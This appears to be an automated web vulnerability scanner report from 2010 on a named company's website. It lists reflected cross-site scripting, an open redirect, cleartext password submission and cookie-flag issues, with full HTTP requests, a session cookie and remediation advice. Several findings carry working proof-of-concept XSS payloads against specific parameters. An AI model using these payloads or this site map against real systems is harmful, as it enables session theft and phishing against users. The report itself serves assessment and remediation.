Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the themeNumber request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b83b'-alert(1)-'3aabf11b151 was submitted in the themeNumber parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /demo/default.asp?themeNumber=25b83b'-alert(1)-'3aabf11b151 HTTP/1.1 Host: www.cyveillance.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: Name=%27+%27; Email=%27%40%27%2Ecom; __utmz=170097586.1292710618.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=170097586.549204710.1292710618.1292710618.1292710618.1; __utmc=170097586; __utmb=170097586; ASPSESSIONIDQCAQAQRR=KKJHHCFCAKLHHOLEMAOIOEND;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 9471 Content-Type: text/html Date: Sat, 18 Dec 2010 22:31:11 GMT Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta name=" ...[SNIP]... th = 800; var height = 410; var swf = 'player.swf'; var no_flash_image = 'no_flash.gif'; var flashVersion = 7;
var params = '?configFile=config.xml&themeNumber=25b83b'-alert(1)-'3aabf11b151';
// DO NOT MODIFY ANY JAVASCRIPT BELOW THIS LINE // check for the plugin var plugin = (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]) ? navigator.mimeTypes["a ...[SNIP]...
The value of the themeNumber request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ad123'-alert(1)-'b007d723a6 was submitted in the themeNumber parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /demo/x/demo.asp?themeNumber=ad123'-alert(1)-'b007d723a6 HTTP/1.1 Host: www.cyveillance.com Proxy-Connection: keep-alive Referer: http://www.cyveillance.com/web/forms/request_demo.asp Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASPSESSIONIDQCAQAQRR=KKJHHCFCAKLHHOLEMAOIOEND; __utma=170097586.549204710.1292710618.1292710618.1292710618.1; __utmc=170097586; __utmz=170097586.1292710618.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); Email=%27%40%27%2Ecom; Name=%27+%27; __utmb=170097586
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 9469 Content-Type: text/html Date: Sat, 18 Dec 2010 22:26:48 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta name=" ...[SNIP]... dth = 800; var height = 410; var swf = 'player.swf'; var no_flash_image = 'no_flash.gif'; var flashVersion = 7;
var params = '?configFile=config.xml&themeNumber=ad123'-alert(1)-'b007d723a6';
// DO NOT MODIFY ANY JAVASCRIPT BELOW THIS LINE // check for the plugin var plugin = (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]) ? navigator.mimeTypes["a ...[SNIP]...
The value of the CampaignID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6e17"style%3d"x%3aexpression(alert(1))"f2e87741a74 was submitted in the CampaignID parameter. This input was echoed as b6e17"style="x:expression(alert(1))"f2e87741a74 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the cyform_comments request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89d26"style%3d"x%3aexpression(alert(1))"9ea13339bff was submitted in the cyform_comments parameter. This input was echoed as 89d26"style="x:expression(alert(1))"9ea13339bff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta name=" ...[SNIP]... <input name="description" id="description" type="hidden" value="File Title: Cyber Intelligence Report - 1H 2010 How did you hear about us: Select One Comments: 174.121.222.18 '89d26"style="x:expression(alert(1))"9ea13339bff"> ...[SNIP]...
The value of the cyform_company request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23dfb"style%3d"x%3aexpression(alert(1))"1a9d1b05ec0 was submitted in the cyform_company parameter. This input was echoed as 23dfb"style="x:expression(alert(1))"1a9d1b05ec0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta name=" ...[SNIP]... <input name="company" id="company" type="hidden"value="'23dfb"style="x:expression(alert(1))"1a9d1b05ec0"> ...[SNIP]...
The value of the cyform_email request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fc9f"style%3d"x%3aexpression(alert(1))"3261ff4d410 was submitted in the cyform_email parameter. This input was echoed as 2fc9f"style="x:expression(alert(1))"3261ff4d410 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the cyform_first_name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 274a6"style%3d"x%3aexpression(alert(1))"0e5dceb78be was submitted in the cyform_first_name parameter. This input was echoed as 274a6"style="x:expression(alert(1))"0e5dceb78be in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the cyform_last_name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75638"style%3d"x%3aexpression(alert(1))"c0655b3df7f was submitted in the cyform_last_name parameter. This input was echoed as 75638"style="x:expression(alert(1))"c0655b3df7f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the cyform_phone request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d8fa"style%3d"x%3aexpression(alert(1))"74cfe8d3286 was submitted in the cyform_phone parameter. This input was echoed as 3d8fa"style="x:expression(alert(1))"74cfe8d3286 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the cyform_title request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1d21"style%3d"x%3aexpression(alert(1))"1ecdf5e5625 was submitted in the cyform_title parameter. This input was echoed as e1d21"style="x:expression(alert(1))"1ecdf5e5625 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the fileTitle request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fb27"style%3d"x%3aexpression(alert(1))"64fc44e73dc was submitted in the fileTitle parameter. This input was echoed as 3fb27"style="x:expression(alert(1))"64fc44e73dc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta name=" ...[SNIP]... <input name="description" id="description" type="hidden" value="File Title: Cyber Intelligence Report - 1H 20103fb27"style="x:expression(alert(1))"64fc44e73dc How did you hear about us: Select One Comments: 174.121.222.18 '"> ...[SNIP]...
The value of the howdidyouhear request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d9f8"style%3d"x%3aexpression(alert(1))"53314dbbacf was submitted in the howdidyouhear parameter. This input was echoed as 1d9f8"style="x:expression(alert(1))"53314dbbacf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta name=" ...[SNIP]... <input name="description" id="description" type="hidden" value="File Title: Cyber Intelligence Report - 1H 2010 How did you hear about us: Select One1d9f8"style="x:expression(alert(1))"53314dbbacf Comments: 174.121.222.18 '"> ...[SNIP]...
The value of the strRedirect request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98f7a"style%3d"x%3aexpression(alert(1))"4b3e72e8b89 was submitted in the strRedirect parameter. This input was echoed as 98f7a"style="x:expression(alert(1))"4b3e72e8b89 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta name=" ...[SNIP]... <input type=hidden name="retURL" value="http://www.cyveillance.com/web/forms/request_thanks.asp?fileName=/web/docs/WP_CyberIntel_H1_2010.pdf98f7a"style="x:expression(alert(1))"4b3e72e8b89"> ...[SNIP]...
The value of the fileName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e63a6"style%3d"x%3aexpression(alert(1))"2002d2abc9e was submitted in the fileName parameter. This input was echoed as e63a6"style="x:expression(alert(1))"2002d2abc9e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /web/forms/request_thanks.asp?fileName=/web/docs/WP_CyberIntel_H1_2010.pdfe63a6"style%3d"x%3aexpression(alert(1))"2002d2abc9e HTTP/1.1 Host: www.cyveillance.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASPSESSIONIDQCAQAQRR=KKJHHCFCAKLHHOLEMAOIOEND; __utma=170097586.549204710.1292710618.1292710618.1292710618.1; __utmc=170097586; __utmz=170097586.1292710618.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=170097586; Email=%27%40%27%2Ecom; Name=%27+%27
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 7669 Content-Type: text/html Date: Sat, 18 Dec 2010 22:24:16 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta ...[SNIP]... <a href="/web/docs/WP_CyberIntel_H1_2010.pdfe63a6"style="x:expression(alert(1))"2002d2abc9e" target="_blank"> ...[SNIP]...
The value of the fileName request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1566d"-alert(1)-"79090b50b46 was submitted in the fileName parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /web/forms/request_thanks.asp?fileName=/web/docs/WP_CyberIntel_H1_2010.pdf1566d"-alert(1)-"79090b50b46 HTTP/1.1 Host: www.cyveillance.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASPSESSIONIDQCAQAQRR=KKJHHCFCAKLHHOLEMAOIOEND; __utma=170097586.549204710.1292710618.1292710618.1292710618.1; __utmc=170097586; __utmz=170097586.1292710618.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=170097586; Email=%27%40%27%2Ecom; Name=%27+%27
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 7631 Content-Type: text/html Date: Sat, 18 Dec 2010 22:24:17 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta ...[SNIP]... <!-- var timerID = 0; function UpdateTimer() { window.open("/web/docs/WP_CyberIntel_H1_2010.pdf1566d"-alert(1)-"79090b50b46"); }
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Request
GET /web/partners/login.asp HTTP/1.1 Host: www.cyveillance.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=170097586.1292710618.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=170097586.549204710.1292710618.1292710618.1292710618.1; __utmc=170097586; __utmb=170097586; ASPSESSIONIDQCAQAQRR=KKJHHCFCAKLHHOLEMAOIOEND;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 8692 Content-Type: text/html Date: Sat, 18 Dec 2010 22:20:37 GMT Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance Partner Resources-Login</title> <meta name="description" ...[SNIP]... </p>
The value of the fileName request parameter is used to perform a redirect initiated from JavaScript. The payload http%3a//a5f96e32587e17eb/a%3f/web/docs/WP_CyberIntel_H1_2010.pdf was submitted in the fileName parameter. This caused a redirection to the following URL:
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application which causes a redirection to an arbitrary external domain. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targetting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.
Issue remediation
If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behaviour can be avoided in two ways:
Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.
If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:
The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with http://yourdomainname.com/ before issuing the redirect.
Request
GET /web/forms/request_thanks.asp?fileName=http%3a//a5f96e32587e17eb/a%3f/web/docs/WP_CyberIntel_H1_2010.pdf HTTP/1.1 Host: www.cyveillance.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASPSESSIONIDQCAQAQRR=KKJHHCFCAKLHHOLEMAOIOEND; __utma=170097586.549204710.1292710618.1292710618.1292710618.1; __utmc=170097586; __utmz=170097586.1292710618.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=170097586; Email=%27%40%27%2Ecom; Name=%27+%27
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 7627 Content-Type: text/html Date: Sat, 18 Dec 2010 22:24:19 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta ...[SNIP]... <!-- var timerID = 0; function UpdateTimer() { window.open("http://a5f96e32587e17eb/a?/web/docs/WP_CyberIntel_H1_2010.pdf"); }
timerID = setTimeout("UpdateTimer()",3000);
//--> ...[SNIP]...
4. Cookie without HttpOnly flag setpreviousnext There are 2 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.cyveillance.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=Cyveillance X-Purpose: prefetch Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 11700 Content-Type: text/html Set-Cookie: ASPSESSIONIDQCAQAQRR=KKJHHCFCAKLHHOLEMAOIOEND; path=/ Date: Sat, 18 Dec 2010 22:18:48 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <ti ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta name=" ...[SNIP]...
5. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://www.cyveillance.com
Path:
/web/partners/login.asp
Issue detail
The page contains a form with the following action URL:
The form contains the following password field with autocomplete enabled:
password
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
Request
GET /web/partners/login.asp HTTP/1.1 Host: www.cyveillance.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=170097586.1292710618.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=170097586.549204710.1292710618.1292710618.1292710618.1; __utmc=170097586; __utmb=170097586; ASPSESSIONIDQCAQAQRR=KKJHHCFCAKLHHOLEMAOIOEND;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 8692 Content-Type: text/html Date: Sat, 18 Dec 2010 22:20:37 GMT Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance Partner Resources-Login</title> <meta name="description" ...[SNIP]... </p>
The page contains a form which POSTs data to the domain www.salesforce.com. The form contains the following fields:
oid
retURL
first_name
last_name
title
company
email
phone
emailOptOut
doNotCall
description
lead_source
Campaign_ID
Issue background
The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Cyveillance - World Leader in Cyber Intelligence</title> <meta name=" ...[SNIP]... </p>
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.